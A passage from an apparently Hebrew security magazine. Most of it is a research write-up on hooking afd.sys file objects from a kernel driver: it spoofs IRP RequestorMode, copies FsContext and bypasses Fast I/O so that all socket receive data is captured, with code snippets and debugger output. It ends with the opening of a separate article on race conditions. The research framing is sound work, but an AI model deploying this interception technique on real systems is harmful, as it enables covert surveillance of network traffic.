newHandle = *(PHANDLE)((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8);
```

נקרא לפונקציה ObReferenceObjectByHandle שיודעת לקבל handle ולהחזיר את ה-object שאותו handle מייצג.

נחליף את ה-Device object המקורי שאליו מצביע האובייקט החדש עם ה-device object המזויף שלנו:

```
// 4. referenceObjectByHandle to get the actual file object.
ObReferenceObjectByHandle(newHandle, GENERIC_ALL, *IoFileObjectType,
KernelMode, &newAfdFobject, nullptr);

// 5. hook the new afd object.
newAfdFobject->DeviceObject = this->AFDUtils->FakeAfdDeviceObject;
```

כעת נריץ ונבדוק האם אנחנו תופסים את ה-IOCTL_AFD_RECV. אם כן, נדע שהצלחנו לעשות hook כמו שצריך על האובייקט החדש.

```
[KNIT] AFDHandler::HandleAfdCall -> got IOCTL_AFD_ACCEPT
[KNIT] AFDHandler::HandleAfdCall -> status: 0xc0000008
```

אנחנו מקבלים את הסטטוס שקיבלנו בעבר (INVALID_HANDLE).

פעם קודמת שקיבלנו את השגיאה הזאת זה היה כי החלפנו את המצביע (fileObject->DeviceObject) באחד מזויף שלנו. כבר פתרנו את הבעיה הזאת, אך נראה שהיא צצה שוב כשאנחנו מחליפים את המצביע של ה-file object החדש.

ה-file object החדש שעכשיו החלפנו לו את המצביע הוא לא ה-file object שמועבר דרך הפרמטר fileHandle ב-NtDeviceIoControlFile. השימוש באובייקט החדש הוא רק בפעולות שקורות אחרי accept, כמו recv. בעצם, לא נגענו בכלל באובייקט שמועבר ב-accept ולכן היה אפשר לקוות שלא תהיה בעיה של invalid handle.

בקריאה ל-accept, השימוש הוא ב-file object הישן, כאשר רק בתוך ה-SystemBuffer מועבר ה-FileHandle לאובייקט החדש שנוצר.

אז אנחנו יודעים שהבעיה היא ב-hook שביצענו על האובייקט החדש, למרות שבקריאה הנוכחית הוא עוד לא בשימוש. נראה ש-afd בכל זאת מבצע בדיקה על ה-fileHandle שמועבר ב-Irp->SystemBuffer+0x8 לראות שהוא אכן מצביע על ה-device object המקורי של afd.sys. כמובן שבדיוק החלפנו לו את המצביע ל- device object מזויף ולכן הבדיקה תיפול.

כלומר, נצטרך לדאוג ששני ה-file objects (האחד שמועבר דרך FileHandle והאחד שמועבר ב-SystemBuffer) יצביעו ל-device object של afd בעת הקריאה לפונקציית afdAccept.

פעם קודמת שנתקלנו בבעיה הזאת (IOCTL_AFD_SELECT) פתחנו את afd.sys ב-IDA וראינו שה-handle ש-afd בודק נמצא ב-SystemBuffer לכן זה הגיוני שגם הפעם הוא בודק את ה-handle שנמצא שם.

נבצע מניפולציה על ה-InputBuffer לפני שאנחנו מעבירים אותו אל afd כך שה-handle שיהיה בתוכו יהיה של file object **שכן** מצביע על ה-device object **האמיתי** של afd ושלא שונה על ידינו.

כך נוכל לעשות hook על האובייקט החדש אבל כש-afd יבדוק את ה-handle שב-systemBuffer **הוא יראה device object אמיתי**, לא תהיה שגיאה ונוכל לתפוס את ה-recv.

התהליך המלא ייראה כך:

1. תפיסה של IRP עם IOCTL_AFD_ACCEPT, ובתוכו שני ה-handles.
2. קריאת ה-NewHandle שמועבר בתוך ה-systemBuffer.
3. שינוי המצביע שב-file object החדש כך שיצביע אל ה-device המזויף שלנו (לא נמצא בתרשים).
4. שינוי ערך ה-handle שב-InputBuffer כך שלא ישויך ל-file object החדש, אלא ל-file object לגיטימי של AFD (מוחרג - שלא עבר hook).
5. העברת ה-IRP ל-AFD, לאחר שינוי ה-NewHandle.

שינוי ה-InputBuffer

הדרך לשינוי ה-InputBuffer פשוטה: ניגשים לכתובת של InputBuffer ומחליפים את הערך שלו ב-handle המשויך ל-file object לגיטימי. הדבר היחיד שחסר לנו הוא השגת file object של afd שלא עבר שום hook. הפתרון - ניצור אחד כזה בעצמנו ונוודא שהלולאה שלנו מחריגה אותו ולא עושה לו hook.

יצירת ה-file object:

```
UNICODE_STRING afdDeviceName;
RtlInitUnicodeString(&afdDeviceName, L"\\Device\\Afd\\Endpoint");

IO_STATUS_BLOCK stam = { 0 };

OBJECT_ATTRIBUTES afdAttributes;
InitializeObjectAttributes(&afdAttributes, &afdDeviceName, OBJ_KERNEL_HANDLE,
NULL, NULL);

// Open a handle to the AFD device.
ZwCreateFile(FileHandle, STANDARD_RIGHTS_ALL, &afdAttributes, &stam,
        NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE |
SYNCHRONIZE,

// Get a pointer to the AFD device using the handle.
ObReferenceObjectByHandle(*FileHandle, 0, *IoFileObjectType, KernelMode,
(PVOID*)FileObject, NULL);
```

בלולאת ה-hook שלנו נוסיף תנאי שבודק האם ה-file object שאנחנו באים לעשות עליו hook הוא האחד שאנחנו יצרנו. במידה וכן, נחריג אותו ולא נבצע עליו hook.

את הקוד שמחליף את ה-handle בתוך ה-systemBuffer ניישם כשאנחנו תופסים IOCTL_AFD_RECV:

```
// Get the address of systemBuffer + 0x8
auto systemBufferHandlePtr = (HANDLE*)((ULONG_PTR)Irp-
>AssociatedIrp.SystemBuffer + 0x8);

// Replace what's inside with the legit afd object handle.
*systemBufferHandlePtr = this->AFDUtils->LegitAfdFileObjectHandle;
```

עכשיו נריץ ונדבג לראות שהערך ב-SystemBuffer משתנה כמו שצריך:

```
228     HANDLE* systemBufferHandlePtr = (HANDLE*)((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8);
229     *systemBufferHandlePtr = this->AFDUtils->LegitAfdFileObjectHandle;
230
231
232     //*(PHANDLE)((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8) = this->AFDUtils->LegitAfdFileObjectHandle;
```

Watch

Name	Value	Type
(HANDLE*)((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8)	0xffff8509e41e2388 0x278	HANDLE * HANDLE
this->AFDUtils->LegitAfdFileObjectHandle	0xffffffff800025a4	void *

לפני ההחלפה, אפשר לראות למעלה שה-systemBuffer מכיל את ה-handle החדש שנוצר (0x278).

מתחתיו אפשר לראות את ה-handle ל-file object המוחרג שיצרנו במיוחד בשביל ההחלפה (0xffffffff800025a4).

אחרי:

```
228     HANDLE* systemBufferHandlePtr = (HANDLE*)((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8);
229     *systemBufferHandlePtr = this->AFDUtils->LegitAfdFileObjectHandle;
230
231
232
233 }
234
```

Watch

Name	Value	Type
(HANDLE*)((ULONG_PTR)Irp->AssociatedIrp.SystemBuffer + 0x8)	0xffff8509e41e2388 0xffffffff800025a4	HANDLE * HANDLE
this->AFDUtils->LegitAfdFileObjectHandle	0xffffffff800025a4	void *

ניתן לראות שה-systemBuffer מכיל עכשיו את ה-handle שאנחנו יצרנו (0xffffffff800025a4)

לכאורה, אמור לעבוד.

נלחץ F5 ב-windbg כדי להמשיך הרצה ונראה מה הסטטוס שקיבלנו על IOCTL_AFD_ACCEPT:

```
[KNIT] AFDHandler::HandleAfdCall -> status: 0xc0000008
```

RequestorMode

<u>עדיין</u> מתקבלת אותה השגיאה. הסיבה לכך יחסית פשוטה ורמז לבעיה הוא ההבדל בין ערך ה-handle שאנחנו יצרנו (0xffffffff800025a4) לבין ה-handle שהיה ב-systemBuffer לפני שאנחנו נגענו (0x278). אפשר לראות שהערכים שונים מאוד, הסיבה היא שאחד מהם נוצר בקרנל, ולכן קיבל index בטבלת ה-handles הקרנלית בעוד השני נוצר ב-user-mode והוא index בטבלה הפרטית של ה-process ה--user-mode'.

נחזור ל-IDA, הפעם נסתכל על פונקציית AfdAccept, שאחראית על טיפול ב-IOCTL_AFD_ACCEPT:

```
RequestorMode = Irp->RequestorMode;
  v9 = (unsigned __int8)HIBYTE(*(_WORD *)(a2 + 24)) >> 6;
  MdlAddress = v7->MdlAddress;
  Object = 0;
  v11 = ObReferenceObjectByHandle(MdlAddress, v9,
(POBJECT_TYPE)IoFileObjectType, RequestorMode, &Object, 0);
  v12 = v11;
  if ( v11 < 0 )
  {
    AFDETW_TRACEACCEPT(0, 6004, v5, (unsigned int)v11, 0, 0);
    goto LABEL_40;
  }
```

בשביל למצוא מה ערך ה-RequestorMode כרגע, נשלב בין היכולות הדינמיות של windbg והסטטיות של IDA:

1. ב-IDA, נעשה decompile ל-assembly של afdAccept.
2. נבצע סנכרון (עם אופציית "synchronize with") בין שני החלונות, כך סימון בחלון האסמבלי יראה את הקוד המקביל בחלון ה-decompile וההפך.
3. בכך, נוכל לראות שהשורה:

```
RequestorMode = Irp->RequestorMode;
```

שקולה ל-instruction:

```
mov r9b, [rdi+40h]
```

המשמעות היא שאם נדע ב-runtime מה הערך של r9b אז נדע מה ה-RequestorMode.

4. נדבג ונגיע ב-windbg לשורה הרלוונטית ונבדוק את הערך הרצוי:
   - kd> r r9b
   - r9b=1

אז אנחנו יודעים שה-RequestorMode הוא 1. אבל מה זה RequestorMode? אם נלך להגדרת הפונקציה ObReferenceObjectByHandle:

```
"Specifies the access mode to use for the access check. It must be either
UserMode or KernelMode. Drivers should always specify UserMode for handles they
receive from user address space."
```

דרייברים שמקבלים handle מ-user mode צריכים שה-RequestorMode יהיה UserMode. אם נבדוק מה הערך של UserMode, נראה שזה אכן 1 :

```
typedef enum _MODE {
    KernelMode = 0,
    UserMode = 1,
    MaximumMode = 2
} MODE;
```

כלומר, afd פועל כראוי. אבל, בגלל ששינינו את ה-handle שהוא מקבל ל-handle שהדרייבר הקרנלי שלנו יצר - יש אי התאמה. AFD מצפה לראות handle מסוג user-mode ואנחנו מביאים לו handle קרנלי. זה מה שמוביל ל-STATUS_INVALID_HANDLE.

הפתרון פשוט, כפי שניתן לראות ב-IDA, הדרייבר afd.sys **לא** מחייב שהערך יהיה user-mode אלא הוא מסתמך על הערך בשדה RequestorMode שנמצא בתוך ה-IRP, שאנחנו מעבירים אליו. לכן, כמו ששינינו את ה-handle שעובר ב-IRP, נוכל לשנות גם את הערך של ה-RequestorMode ל-KernelMode. לשם כך רק נצטרך להוסיף את השורה

```
Irp->RequestorMode = KernelMode;
```

מתחת לשורה שמחליפה את ה-handle.

כעת הקוד שלנו שמטפל ב-IOCTL_AFD_ACCEPT יראה כך:

```
// Get the address of systemBuffer + 0x8
auto systemBufferHandlePtr = (PHANDLE)((ULONG_PTR)Irp-
>AssociatedIrp.SystemBuffer + 0x8);

// Replace what's inside with the legit afd object handle.
*systemBufferHandlePtr = this->AFDUtils->LegitAfdFileObjectHandle;

// modify the RequestorMode
Irp->RequestorMode = KernelMode;
```

כרגיל נריץ שוב ונראה מה קורה:

```
[KNIT] AFDHandler::HandleAfdCall -> status: 0xc000000d
```

קיבלנו שגיאה, אבל אחרת, **STATUS_INVALID_PARAMETER.**

FsContext

בכל file object יש שדה הנקרא "FsContext". זה הוא שדה אופציונלי המאותחל per file object והוא סוג של שומר state (מצב) עבור האובייקט. השדה עצמו הוא מצביע לאוסף מידע (בתים) שמתוחזק על ידי הדרייבר האחראי, ישנם דרייברים שבכלל לא משתמשים בו.

במקרה שלנו, afd.sys משתמש בו בכדי לשמור context עבור כל סוקט. ה-context, בהתאם לסוג הבקשה ומצב הסוקט, מכיל מבנה פנימי של afd. מבנה זה בסופו של דבר עוזר ל-afd לייצג סוקט בצד הקרנלי - הוא מכיל כתובת מקור (src ip) ויעד (dest ip), סוג הסוקט, מצב הסוקט (listening, established) ועוד דברים הכרחיים לניהול הסוקט. ישנם פרויקטים באינטרנט, כגון ReactOS שמציעים תיעוד לא רשמי של מבנים כאלה ואחרים בהם afd משתמש.

כרגע, בטיפול שלנו של IOCTL_AFD_ACCEPT, כאשר אנחנו מחליפים את ה-handle ב-systemBuffer כדי שיהיה של ה-file object המוחרג (LegitAfdFileObject), נוצר חוסר תיאום בין ה-context ש-afd.sys מצפה לראות לבין מה שהוא באמת רואה.

הסיבה לכך היא שה-file object המוחרג הוא אחד שאנחנו יצרנו וה-context שלו ריק. לכן נזרקת שגיאת invalid parameter.

בשביל לתקן את זה, פשוט נשנה את שדה ה-FsContext אצל ה-file object המוחרג כך שיצביע ל-FsContext של ה-file object החדש שנוצר תחת קריאת ה-accept:

```
this->AFDUtils->LegitAfdFileObject->FsContext = newAfdFobject->FsContext;
```

נריץ מחדש את הדרייבר שלנו, נשלח בקשת GET ונראה את הלוגים. אנחנו מצפים לראות שהלוגים מדפיסים את כל הIOCTLs, בעיקר את IOCTL_AFD_RECV ושה-status המוחזר הוא 0 (STATUS_SUCCESS).

```
[KNIT] AFDHandler::ExtractReferencedFobject -> got IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> status: 0x103
[KNIT] AFDHandler::ExtractReferencedFobject -> got IOCTL_AFD_WAIT_FOR_LISTEN
[KNIT] AFDHandler::HandleAfdCall -> status: 0x0
[KNIT] AFDHandler::HandleAfdCall -> got IOCTL_AFD_ACCEPT
[KNIT] AFDHandler::HandleAfdCall -> status: 0x0
[KNIT] AFDHandler::HandleAfdCall -> got IOCTL_AFD_GET_SOCK_NAME
[KNIT] AFDHandler::HandleAfdCall -> status: 0x0
[KNIT] AFDHandler::HandleAfdCall -> got IOCTL_AFD_RECV
[KNIT] AFDHandler::HandleAfdCall -> status: 0x0
[KNIT] AFDHandler::ExtractReferencedFobject -> got IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdCall -> status: 0x103
```

עבד!

1. הדרייבר תפס את בקשת ה-SELECT והעביר אותה ל-AFD שהחזיר STATUS_PENDING.
2. בגלל שהגיע חיבור (בקשת ה-GET), ה-SELECT הבא החזיר STATUS_SUCCESS והשרת יצא מלולאת ה-SELECT.
3. השרת קרא לפונקציית accept ששולחת 2 IOCTL-ים.
4. השרת קרא לפונקציית recv ששולחת IOCTL_AFD_RECV.
5. השרת סיים לטפל בבקשה וחזר ללולאת ה-SELECT שלו.

קריאת המידע התעבורתי דרך הקרנל

אוקיי, סוף סוף הצלחנו לתפוס את הצד הקרנלי של פעולת ה-RECV וזאת בלי שהשרת או ווינדוס ירגישו שיש משהו בעייתי. עכשיו, עלינו להבין איך אנחנו **קוראים בצורה אמינה** את כל המידע שמגיע לשרת.

אם נפתח APImon ונסתכל על קריאת ה-RECV שהשרת מבצע:

Call #	Time	Thread	Module	API	Return Value	Error	Duration
322	2:21:47.157 PM	2	_socket.pyd	recv(640, 0x000001e3b9861ba0, 8192, 0)	82	-	0.0000291

נראה שהערך המוחזר הוא 82 - זו כמות הבייטים שהתקבלו. בנוסף, הפרמטר השני הוא כתובת של ה-buffer שהשרת אילקץ (allocated) בשביל לקלוט את המידע. נוכל להסתכל על ה-buffer לאחר הקריאה בעזרת APImon:

```
0000  47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 39 32 2e  GET / HTTP/1.1..Host: 192.
001a  31 36 38 2e 35 36 2e 31 30 34 3a 38 30 30 30 0d 0a 55 73 65 72 2d 41 67 65 6e  168.56.104:8000..User-Agen
0034  74 3a 20 63 75 72 6c 2f 38 2e 39 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a  t: curl/8.9.1..Accept: */*
004e  0d 0a 0d 0a                                                                  ....
```

אפשר לראות שכל המידע הגיע ליעד, כלומר שאיפשהו בקרנל, בין היתר בעזרת afd, ה-buffer של השרת התמלא במידע.

כמו כן, הממשק היחידי בין השרת ל-afd הוא דרך IRP שנשלח בעזרת NtDeviceIoControlFile. מכאן ניתן להסיק שה-InputBuffer שמועבר ב-NtDeviceIoControlFile הוא זה שמתמלא ומוחזר אל השרת.

אם נסתכל ב-APImon על ה-InputBuffer, נראה שהוא קטן יותר (בגודל 24 בייטים) והוא לא מכיל את המידע הרצוי. עם זאת, נראה שהוא כן מכיל בתוכו עוד כתובת user-mode:

```
InputBuffer: 0000007fcedbd188 0000000000000001 000001e300000020
```

למזלנו, הפרויקט שהוזכר בהתחלה - Spectre, עדיין רלוונטי ועוזר לחלק הזה של הקוד. בעצם, הכתובת ה-user-mode הזו מצביעה ל-struct שדרכו afd מעביר מידע. על מנת לפרסר את המידע כראוי, נשתמש בהגדרה של ה-struct הזה.

Spectre משתמש במבנה AFD_RECV_INFO שמיקרוסופט לא תיעדה באופן רשמי, אך קיים תיעוד שלו באינטרנט. אני לקחתי את ההגדרה שלו ובעיקרון השארתי רק את המשתנים הרלוונטיים, ככה הוא נראה:

```
typedef struct _AFD_RECV_INFORMATION
{
        RECV_DATA* RecvData;
        LONG64 Reserved1;
        DWORD32 Reserved2;
        DWORD32 Reserved3;
        HANDLE EventHandle;
        ULONG_PTR Address1;
        ULONG_PTR Address2;
        ULONG_PTR Address3;
        ULONG_PTR Address4;
        LONG64 DataSize;
        PVOID Unknown;
} AFD_RECV_INFORMATION, *PAFD_RECV_INFORMATION;
```

מה שחשוב כאן הוא ה-**RecvData** וה-**DataSize**. השדה RecvData הוא מצביע למבנה הנקרא RECV_DATA והוא מכיל את המידע האמיתי שהתקבל. השדה DataSize הוא פשוט הגודל של המידע שהתקבל.

```
typedef struct _RECV_DATA
{
        DWORD32 Reserved1;
        DWORD32 Reserved2;
        CHAR* Data;
} RECV_DATA, *PRECV_DATA;
```

השדה האחרון במבנה - CHAR* Data - מכיל את המידע הרשתי בפועל.

הקוד לקריאת המידע

1. בעת קבלת IOCTL_AFD_RECV, ולפני הקריאה לפונקציה המקורית:

```
case IOCTL_AFD_RECV:
        KnitPrint("got IOCTL_AFD_RECV\n");
        receiveInformation = (PAFD_RECV_INFORMATION) irpStackLocation-
>Parameters.DeviceIoControl.Type3InputBuffer;
                break;
```

בעצם אנחנו לוקחים את ה-InputBuffer וממירים אותו למשתנה מסוג מצביע ל-AFD_RECV_INFORMATION. כך, כש-afd ימלא את הבאפר, נוכל לקרוא אותו כמו שצריך.

2. קריאה לפונקציה המקורית:

```
// return the afd function status.

NTSTATUS checkStatus = originalFunction(DeviceObject, Irp);
KnitPrint("status: 0x%x\n", checkStatus);
```

3. אחרי הקריאה לפונקציה, נוכל לקרוא את המידע שבבאפר:

```
if (ioctl == IOCTL_AFD_RECV)
{
        PCHAR receivedData = receiveInformation->RecvData->Data;
}
```

נבדוק ב-windbg את הערך של receivedData:

```
0: kd> dv receivedData
   receivedData = 0x0000019a`3108df20 "GET / HTTP/1.1..Host: 192.168.56.104:8000..User-
```

תפסנו! המידע כאן הוא בדיוק כמו המידע המתקבל כתוצאה מקריאה לפונקציית recv. כלומר מצאנו דרך להשיג את המידע שמוחזר לאפליקציה ב-usermode.

נראה שכמעט סיימנו! הצלחנו לתפוס את פעולת ה-RECV ולקרוא דרך הקרנל את המידע שבסוף מוחזר ל-user-mode. כל זאת בלי לגרום לחשד והפרעות מצד השרת או מצד הקרנל של ווינדוס.

Asynchronous Traffic Capture

בגלל שיצא לי לבדוק את זה יותר מפעם אחת, אני יודע שלפעמים כשאנחנו תופסים IOCTL_AFD_RECV ומעבירים את הבקשה לפונקציה האמיתית של afd, אנחנו מקבלים תוצאה של STATUS_PENDING. כתוצאה מכך, הבאפר מכיל garbage ואי אפשר לקרוא אותו.

הסיבה לכך היא, שמה לעשות, פעולות networking הם א-סינכרוניות. יכול להיות מצב שבו המידע שהתקבל לא מוכן מיידית לקריאה ולכן afd צריך לחכות. אם נחזור ל-APImon ונסתכל מה השרת עושה במצב של STATUS_PENDING, נראה שהוא משתמש ב-event object בשביל להסתנכרן.

event הוא אובייקט המאפשר סנכרון יעיל בין user-mode ל-kernel-mode.

במקום שהשרת ה-user-mode-י יצטרך לתשאל בלולאה את afd בכדי לדעת אם המידע הגיע, הוא מחכה שה-event שמסמן הגעת מידע יופעל (triggered). כך, הוא חוסך קריאות מיותרות וגם מודע להגעת המידע באופן מיידי.

אם נסתכל מה השרת עושה כשהוא מקבל STATUS_PENDING, נראה שהוא משתמש ב-NtWaitForSingleObject:

Call #	Time	Module	API	Return Value	Error
13574	1:14:01.331 PM	_socket.pyd	recv (640, 0x0000019a310a5da0, 8192, 0)	87	-
13580	1:14:01.331 PM	mswsock.dll	NtDeviceIoControlFile (0x280, 0x2b8, NULL, NULL, 0x0000002fbdfdd1f0, IOCTL_AFD_RECV, 0x0000002fbdfdd1b8, 24, NULL, 0)	STATUS_PENDING	0x00000103 = The operation that was requested is pending completion.
13581	1:14:01.331 PM	mswsock.dll	NtWaitForSingleObject (0x2b8, TRUE, NULL)	STATUS_SUCCESS	-

השרת קיבל STATUS_PENDING על קריאה עם IOCTL_AFD_RECV ולכן ביצע קריאה ל-NtWaitForSingleObject שעושה block עד שהמידע מוכן לקריאה (לרוב יש זמן מקסימום, השרת לא ייתקע לתמיד).

חשוב לשים לב שהפרמטר השני ב-NtDeviceIoControlFile הוא handle ל-event. כאשר afd מחזיר STATUS_PENDING, הוא שומר את ה-IRP באיזשהי רשימה פנימית שלו ומחכה שהמידע יתקבל. כשהמידע מגיע, afd משלים את הבקשה באמצעות הפונקציה **IoCompleteRequest** ואז ה-I/O Manager אוטומטית מאותת (הופך ל-signaled) את ה-event.

אם השרת יכול להשתמש במנגנון הזה בשביל לחכות לקריאת המידע, גם אנחנו יכולים וזה בדיוק מה שנעשה בשביל לקרוא את המידע גם במצב של STATUS_PENDING.

למזלנו, ה-event שהשרת משתמש בו הוא מסוג Notification, זה אומר שכמה יישומים יכולים לחכות לאותו event בלי להפריע אחד לשני. אם היה כאן שימוש ב-Synchronization event אז השיטה הזאת לא הייתה עובדת.

Handling a Pending Request

בשביל לחכות מהדרייבר הקרנלי שלנו על ה-event, נפעל בכמה שלבים:

- ניקח את ה-EventHandle מתוך ה-InputBuffer.
- נשיג מה-handle את ה-event object עצמו (עשינו זאת כשרצינו להשיג file object, זה אותו API).
- נחכה ל-event.
- אם הצלחנו לחכות (wait satisfied) - נקרא את המידע.

בקוד זה ייראה כך:

בשביל להוציא את ה-handle, נשתמש במבנה AFD_RECV_INFORAMTION, שאחד מהשדות שלו הוא ה-eventHandle.

```
HANDLE eventHandle = ReceiveInformation->EventHandle;
```

אחר כך, נשתמש בפונקציה ObReferenceObjectByHandle בשביל להשיג את ה-event object:

```
// Obtain the event object from the passed handle.
ObReferenceObjectByHandle(eventHandle, EVENT_ALL_ACCESS, *ExEventObjectType,
KernelMode, (PVOID*) &referencedEventObject, 0);
```

נקרא לפונקציה KeWaitForSingleObject בשביל לחכות ל-event. זוהי פונקציה שחוסמת את ריצת התוכנית עד שסיימה לחכות. בזמן הזה afd ממלא את הבאפר עם מידע.

```
// Wait on the passed object
NTSTATUS waitStatus = KeWaitForSingleObject(referencedEventObject, Executive,
KernelMode, FALSE, &timeout);
```

לבסוף נקרא את ה-buffer במידה ואכן ה-event הושלם והבאפר התמלא:

```
if (waitStatus != STATUS_SUCCESS) return; // failed

KdPrint(("[+] Successfully waited on a pending request, data is: %s\n",
ReceiveInformation->ArrayBuffer->Data));
```

נריץ ונבדוק שעובד:

```
[KNIT] AFDHandler::HandleAfdRecv -> [i] Got STATUS_PENDING from AFD, waiting...
[KNIT] AFDHandler::ExtractReferencedFobject -> got IOCTL_AFD_SELECT
[KNIT] AFDHandler::HandleAfdRecv -> [+] Successfully waited on a pending
request, data is:
GET /timeout HTTP/1.1
Host: 192.168.56.104:8000
User-Agent: curl/8.13.0
Accept: */*
```

עבד, אפשר אפילו לראות שבזמן שהשרת מחכה, יש thread נוסף שלו שממשיך לעשות select, באופן אסינכרוני.

FAST I/O

יש עוד משהו אחד קטן שלא התייחסתי אליו עד עכשיו: FAST Input/Output. זה חלק קריטי, אם נתעלם ממנו, יהיו פיסות מידע שנפספס.

אז מה זה Fast I/O:

הקרנל מבצע אלפי פעולות קריאה וכתיבה לאובייקטים בכל שנייה. בכדי לייעל את הגישה לאותם אובייקטים, כל דרייבר יכול ליישם פונקציות Fast I/O משלו שיודעות לטפל בבקשות שעונות על תנאים מסוימים באופן מהיר ובלי צורך ב-IRP.

בשרטוט למטה, ניתן לראות איך ה-I/O Manager מתנהג כשהפונקציה NtDeviceIoControlFile נקראת: הוא קודם כל בודק האם ניתן להשתמש ב-Fast I/O. במידה ולא - הוא יוצר IRP.

במצב בו פונקציית ה-fast i/o קיימת והחזירה True - לא נוצר IRP, כלומר, המנגנון הזה מנטרל את שיטת ה-File Object Hooking מכיוון שלא יגיע אלינו IRP.

איך afd משתמש ב-Fast I/O?

כאשר התוכנה ה-user-mode-ית מבקשת לקרוא מידע מסוקט:

- לפני יצירת IRP, ה-I/O Manager יבדוק ויגלה שיש ל-afd פונקציית fastIo.
- ה-I/O Manager יקרא לפונקציית ה-fastIo.
- afd בודק האם כמה תנאים מתקיימים, בין היתר האם המידע מוכן לקריאה מיידית. במידה והתנאים מתקיימים, afd ישים את המידע בתוך ה-InputBuffer ויחזיר True.
- אם afd אינו יכול להשלים את הבקשה דרך fast I/O - הוא יחזיר False וה-I/O Manager ייצור IRP שיגיע אלינו.

בשביל לתפוס גם פעולות fast i/o, אנחנו צריכים להוסיף מצביע ל-fast i/o ב-driver object המזויף שלנו:

```
FakeDriverObject->FastIoDispatch->FastIoDeviceControl =
FastIoDeviceControlWrapper;
```

עבור כל hooked file object, ה-I/O Manager יקרא לפונקציה הזאת במקום לפונקציה האמיתית של afd.

הקוד של הפונקציה ייראה כך:

```
if (IoControlCode == IOCTL_AFD_RECV)
        return FALSE;

// Call the original function.
return OgFastIoDeviceControl(FileObject, Wait, InputBuffer, InputBufferLength,
        OutputBuffer, OutputBufferLength, IoControlCode, IoStatus,
DeviceObject);
```

הרעיון הוא כזה:

- אם הבקשה היא ל-recv, אנחנו נחזיר FALSE, מה שיאלץ את ה-I/O Manager ליצור IRP שבסוף יגיע אלינו וכך נוכל לוודא שאנחנו לא מפספסים מידע. פעולה זו לא פוגעת בתפקוד של afd.
- אם הבקשה היא לא recv, נקרא לפונקציית ה-fast i/o האמיתית של afd והוא יטפל בבקשה כראוי.

סיכום

במאמר הצגתי טכניקה הנקראת File Object Hooking. טכניקה זו, מאפשרת לדרייבר קרנלי זדוני להפנות IRPs מדרייבר כלשהו אל הדרייבר הזדוני. בכך, הדרייבר הזדוני מבצע MITM על כל התקשורת בין רכיבים במערכת שעוברת דרך IRPs.

לאורך השנים Microsoft הוסיפה מיטיגציות שמקשות על יישום הטכניקה ומצריכות מחקר ומחשבה. במאמר הצגתי את ההגנות והקשיים שבהם נתקלתי, ואת התהליך לעקיפתן.

במאמר התעסקתי באיך להשמיש, לקסטם ולנצל את השיטה כנגד הדרייבר afd.sys, שהוא הדרייבר של Windows שאחראי על ניהול ממשק ה-Winsock, כלומר טיפול בסוקטים ותקשורת רשת ברמת הקרנל (יצירת/ניהול סוקטים, חיבור ושליחה/קליטה של נתונים).

הסיבה ש-AFD הוא מטרה מעניינת היא שכל המידע התקשורתי עובר דרכו. ביצוע MITM מוצלח על AFD מקנה לתוקף תצפית ושליטה על תעבורת רשת של תהליכים במערכת, וכן תובנות נוספות על פעילות הנתקף.

במהלך המאמר הצגתי את תהליך המחקר והפיתוח של הטכניקה. בכדי להתמודד עם הבעיות השתמשתי בכלי מחקר כמו IDA ו-APImon או windbg בשביל דיבוג.

על המחבר

יואב מנדלבאום, מתעסק במו"פ Level Low ו-Windows Internals, חובב חקר חולשות. מוזמנים לפנות אליי בלינקדאין .

מקורות מידע

- הדוקומנטציה של מיקרוסופט
- reactos - פרויקט open-source שמנסה לשכתב את windows ומכיל מידע על מבנים לא מתועדים
- Spectre
- Vergilius - פרויקט תיעוד מבנים קרנליים
- הספר Windows Kernel Programming, 2nd edition.

על מירוצים, תוכנה ומה שביניהם

מאת דוד סטרינסקי

הקדמה

מה אתם חושבים על המצב הבא?

אתם רוצים לרכוש כרטיס לסרט בקולנוע, נשאר מושב אחד אחרון באולם.

אדם נוסף גם רוצה לרכוש את הכרטיס האחרון שנשאר, שניכם מגיעים לקופה ביחד והמערכת מוכרת את הכרטיס לשניכם, אז מי מקבל את הכרטיס בפועל? המצב הזה, נקרא מצב מירוץ או באנגלית Race Condition. שירותי אינטרנט כיום עובדים מהר ומשרתים לקוחות רבים, והעוצמה שלהם הופכת גם לחולשה.

race conditions קורים לרוב בעקבות כשל לוגי, כשאין סדר בדברים הכאוס מתחיל. מוצר שנרכש פעמיים, קופון חד פעמי שנוצל יותר מפעם אחת, על כל אלו ועוד נדבר במאמר הבא.

אז מה זה race condition בתוכנה?

כשמבצעים פעולה באתר או באפליקציה, נוצרת בקשה שנשלחת לשרת. השרת מעבד אותה, משנה מידע אם צריך, ומחזיר תשובה מעודכנת. לפעמים כחלק מהתהליך השרת ניגש למשאב רגיש, מעדכן אותו, ואז שולח תוצאה סופית.

אבל אם שתי בקשות שמנסות לעדכן את אותו משאב מגיעות כמעט באותו רגע, עלול להיווצר בלגן לוגי. השרת לא תמיד יודע איזו בקשה צריכה להיכנס קודם, והתוצאה הסופית תלויה בסדר הטיפול. זה דומה לשני אנשים שכותבים על אותו פתק בלי לתאם, ובסוף נשארים עם משהו לא ברור.

בדרך כלל מצב כזה יוצר חולשה לוגית, למרות שלא תמיד. כשזה כן קורה, ההשפעה יכולה להיות מפתיעה ומשמעותית.

עד כמה זה באמת נפוץ?

race conditions הן לא החולשה הכי נפוצה, אך פוטנציאל הנזק שלהן גבוה מאוד.

מחקרים מראים שכ-80% מהבאגים בתחום המקביליות הם בעצם race conditions.

גם בעולם ה-Bug Bounty, שבו חברות מציעות פרסים לפי חומרת החולשה, מדווחים שקרוב ל-1% מכלל הדיווחים הם על race conditions. רק בחצי הראשון של 2025 דווחו יותר מ-21,500 חולשות, כך שגם אם רק אחוז אחד מהן קשור ל-race conditions מדובר במספר גדול ומשמעותי.

